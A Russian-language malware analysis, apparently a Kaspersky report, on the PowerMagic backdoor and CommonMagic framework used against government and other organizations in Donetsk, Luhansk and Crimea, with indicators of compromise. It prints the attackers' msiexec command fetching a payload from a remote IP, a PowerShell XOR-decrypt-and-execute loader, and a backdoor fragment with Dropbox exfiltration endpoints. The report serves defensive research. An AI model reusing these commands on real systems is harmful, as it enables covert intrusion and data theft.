Правительственные организации подверглись атакам с использованием бэкдора PowerMagic и фреймворка CommonMagic
С начала конфликта на Украине исследователи «Лаборатории Касперского» и мировое сообщество в целом засвидетельствовали множество атак, связанных с текущей политической и геополитической ситуацией. Мы уже публиковали обзор киберактивности и ландшафта угроз в контексте российско-украинского конфликта и продолжаем отслеживать новые угрозы в регионе.
В октябре 2022 года мы выявили атаку на правительственные, сельскохозяйственные и транспортные организации, расположенные в Донецке, Луганске и Крыму. Хотя способ заражения остается неизвестным, вероятно, что злоумышленники используют целевой фишинг по электронной почте. Так или иначе, жертвы скачивали с вредоносного веб-сервера ZIP-архив, в котором содержались два файла:
- безвредный документ-приманка (в формате PDF, XLSX или DOCX);
- вредоносный LNK-файл с двойным расширением (например, .pdf.lnk).
Вредоносный ZIP-архив
Документ Word, используемый как приманка (тема: результаты выборов в Государственную Думу в Республике Крым)
В некоторых случаях в тексте приманки упоминалось название документа, открываемого вредоносным LNK-файлом. Например, один из архивов содержал LNK-файл с именем «Приказ Минфина ДНР № 176.pdf.lnk» (Приказ Министерства финансов № 176), и этот же приказ упоминается в документе-приманке.
Документ-приманка в формате PDF со ссылкой на вредоносный ярлык (тема: информация о приказе Министерства финансов ДНР № 176).
Вредоносные ZIP-архивы скачивались с двух доменов:
webservice-srv[.]online и webservice-srv1[.]online.
Известные имена вложений (с удаленными персональными данными):
MD5 (имя) | Первое обнаружение |
0a95a985e6be0918fdb4bfabf0847b5a (новое отмена решений уик 288.zip) | 2021-09-22 13:47 |
ecb7af5771f4fe36a3065dc4d5516d84 (внесение_изменений_в_отдельные_законодательные_акты_рф.zip) | 2022-04-28 07:36 |
765f45198cb8039079a28289eab761c5 (гражданин рб (удалено) .zip) | 2022-06-06 11:40 |
ebaf3c6818bfc619ca2876abd6979f6d (цик 3638.zip) | 2022-08-05 08:39 |
1032986517836a8b1f87db954722a33f (сз 14-1519 от 10.08.22.zip) | 2022-08-12 10:21 |
1de44e8da621cdeb62825d367693c75e (приказ минфина днр № 176.zip) | 2022-09-23 08:10 |
В случае если жертва открывает LNK-файл из ZIP-архива, запускается цепочка событий, которая приводит к заражению компьютера через ранее неизвестный бэкдор новым вредоносным фреймворком. Мы назвали их PowerMagic и CommonMagic соответственно. Вредоносное ПО и используемые в нем техники не отличаются особой сложностью, однако достаточно эффективны, а код не имеет сходств с другими известными угрозами.
Цепочка заражения
Процесс заражения
Процесс установки
Вредоносный LNK-файл запускает установочную программу Windows (msiexec.exe), которая загружает с удаленного сервера MSI-файл (attachment.msi) и автоматически устанавливает его:
1 |
%WINDIR%\System32\msiexec.exe /i http://185.166.217[.]184/CFVJKXIUPHESRHUSE4FHUREHUIFERAY97A4FXA/attachment.msi /quiet |
MSI-файл является дроппером, содержащим полезную нагрузку следующего этапа (service_pack.dat), скрипт-дроппер (runservice_pack.vbs) и дополнительный документ-приманку.
Файлы в пакете attachment.msi
Зашифрованная полезная нагрузка и документ-приманка сохраняются в директорию %APPDATA%\WinEventCom. VBS-дроппер, в свою очередь, запускает встроенный в него скрипт PowerShell, который расшифровывает полезную нагрузку следующего этапа, используя алгоритм XOR с однобайтовым ключом. Затем расшифрованный скрипт запускается, и его файл удаляется с диска.
Расшифровка файла service_pack.dat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$inst="$env:APPDATA\WinEventCom\service_pack.dat"; if (!(Test-Path $inst)){ return; } $binst=[System.IO.File]::ReadAllBytes($inst); $xbinst=New-Object Byte[] $binst.Count; for ($i=0;$i-lt$binst.Count;$i++) { $xbinst[$i]=$binst[$i]-bxor0x13; $xbinst[$i]=$binst[$i]-bxor0x55; $xbinst[$i]=$binst[$i]-bxor0xFF; $xbinst[$i]=$binst[$i]-bxor0xFF; }; Try { [System.Text.Encoding]::ASCII.GetString($xbinst)|iex; } Catch {}; Start-Sleep 3; Remove-Item -Path $inst -Force |
Полезная нагрузка следующего этапа завершает процесс установки: открывает документ-приманку, показывая его жертве, а также записывает файлы «config» и «manutil.vbs» в директорию %APPDATA%\WinEventCom. Далее создается запланированное задание
WindowsActiveXTaskTrigger, которое настроено на ежедневное выполнение команды wscript.exe %APPDATA%\WinEventCom\manutil.vbs.
Бэкдор PowerMagic
Скрипт manutil.vbs, который записывается на жесткий диск в процессе установки, является загрузчиком ранее неизвестного PowerShell-бэкдора. Мы назвали его PowerMagic — по строке, найденной в одном из образцов. Код бэкдора читается из файла %APPDATA%\WinEventCom\config и расшифровывается по алгоритму XOR (ключ: 0x10).
Фрагмент кода PowerMagic со строкой powermagic
1 2 3 4 5 6 7 |
$AppDir='powermagic'; $ClinetDir='client'; $ClinetTaskDir='task'; $ClinetResultDir='result'; $ClientToken=redacted $dbx_up='https://content.dropboxapi.com/2/files/upload'; $dbx_down = 'https://content.dropboxapi.com/2/files/download'; |
После запуска PowerMagic создает мьютекс WinEventCom. Затем в бесконечном цикле осуществляет взаимодействие с C&C-сервером, получая команды и отправляя результаты их исполнения. Бэкдор использует облачные сервисы OneDrive и Dropbox, авторизуясь при помощи refresh-токенов OAuth.
Каждую минуту PowerMagic:
- Изменяет сигнальный файл /$AppDir/$ClientDir/<UID компьютера> (значения переменных PowerShell $AppDir и $ClientDir могут отличаться в разных образцах). Этот файл содержит PID бэкдора и число, увеличивающееся на 1 после каждой модификации.
- Получает команды, находящиеся в виде файлов в каталоге /$AppDir/$ClientTaskDir.
- Исполняет каждую команду при помощи интерпретатора PowerShell.
- Загружает результат выполненной команды в облачное хранилище, помещая его в файл /$AppDir/$ClientResultDir/<UUID зараженного компьютера>.<временная метка>.
Вредоносный фреймворк CommonMagic
Как оказалось, PowerMagic — не единственный вредоносный инструмент, используемый в данной кампании. Все жертвы, зараженные бэкдором PowerMagic, также были заражены более сложным и ранее неизвестным модульным фреймворком, который мы назвали CommonMagic. Этот фреймворк был установлен после заражения PowerShell-бэкдором, поэтому мы считаем, что для разворачивания CommonMagic используется PowerMagic.
Фреймворк CommonMagic состоит из нескольких модулей, хранящихся в рабочем каталоге C:\ProgramData\CommonCommand. Каждый модуль фреймворка представляет собой исполняемый файл, который обменивается данными с другими модулями при помощи именованных каналов. Существуют отдельные модули для взаимодействия с C&C-сервером, шифрования и дешифрования вредоносного трафика и выполнения различных вредоносных действий.
На схеме ниже показана архитектура фреймворка.
Архитектура фреймворка
Сетевое взаимодействие
Фреймворк использует директории облачного хранилища OneDrive для коммуникации. Для взаимодействия с облаком используется Microsoft Graph API с авторизацией при помощи refresh-токенов OAuth, содержащихся в коде сетевого модуля. Для обработки JSON-объектов, полученных при взаимодействии с Graph API, используется библиотека RapidJSON.
Отдельный поток отвечает за обновление облачного файла <идентификатор жертвы>/S/S.txt. Каждые пять минут в него записывается местное время жертвы.
Затем в нескольких потоках сетевой модуль скачивает дополнительные модули из директории <идентификатор жертвы>/M и загружает результаты их работы в облачную директорию <идентификатор жертвы>/R.
Данные, передаваемые по сети, шифруются при помощи библиотеки с открытым исходным кодом RC5Simple. Оригинальная версия библиотеки помещает 7-байтовую последовательность RC5SIMP в начало шифротекстов, но разработчики фреймворка заменили ее на строку Hwo7X8p. Шифрование реализовано в отдельном процессе, осуществляющем коммуникацию через именованные каналы \\.\pipe\PipeMd и \\.\pipe\PipeCrDtMd.
Плагины
На данный момент мы обнаружили два модуля, реализующих вредоносные активности. Они записываются на диск в директорию C:\ProgramData\CommonCommand\Other.
- Screenshot (S.exe) — каждые три секунды делает снимки экрана, используя GDI API
- USB (U.exe) – крадет с подключенных USB-устройств файлы со следующими расширениями: .doc, .docx. .xls, .xlsx, .rtf, .odt, .ods, .zip, .rar, .txt, .pdf.
Продолжение следует
На момент публикации мы не выявили прямой связи кода и данных с какими-либо известными ранее кампаниями. Однако данная угроза до сих пор активна, и наше расследование продолжается. Поэтому мы считаем, что установленная впоследствии информация позволит однажды связать эту кампанию с конкретной APT-группировкой.
Индикаторы компрометации CommonMagic
Архивы-приманки
0a95a985e6be0918fdb4bfabf0847b5a новое отмена решений уик 288.zip
ecb7af5771f4fe36a3065dc4d5516d84 внесение_изменений_в_отдельные_законодательные_акты_рф.zip
765f45198cb8039079a28289eab761c5 гражданин рб (удалено) .zip
ebaf3c6818bfc619ca2876abd6979f6d цик 3638.zip
1032986517836a8b1f87db954722a33f сз 14-1519 от 10.08.22.zip
1de44e8da621cdeb62825d367693c75e приказ минфина днр № 176.zip
Установщик PowerMagic
fee3db5db8817e82b1af4cedafd2f346 attachment.msi
Дроппер PowerMagic
bec44b3194c78f6e858b1768c071c5db service_pack.dat
Загрузчик PowerMagic
8c2f5e7432f1e6ad22002991772d589b manutil.vbs
Бэкдор PowerMagic
1fe3a2502e330432f3cf37ca7acbffac
Загрузчик CommonMagic
ce8d77af445e3a7c7e56a6ea53af8c0d All.exe
Модуль шифрования CommonMagic
9e19fe5c3cf3e81f347dd78cf3c2e0c2 Clean.exe
Сетевой модуль CommonMagic
7c0e5627fd25c40374bc22035d3fadd8 Overall.exe
Серверы распространения
webservice-srv[.]online
webservice-srv1[.]online
185.166.217[.]184
Новая APT-угроза в зоне российско-украинского конфликта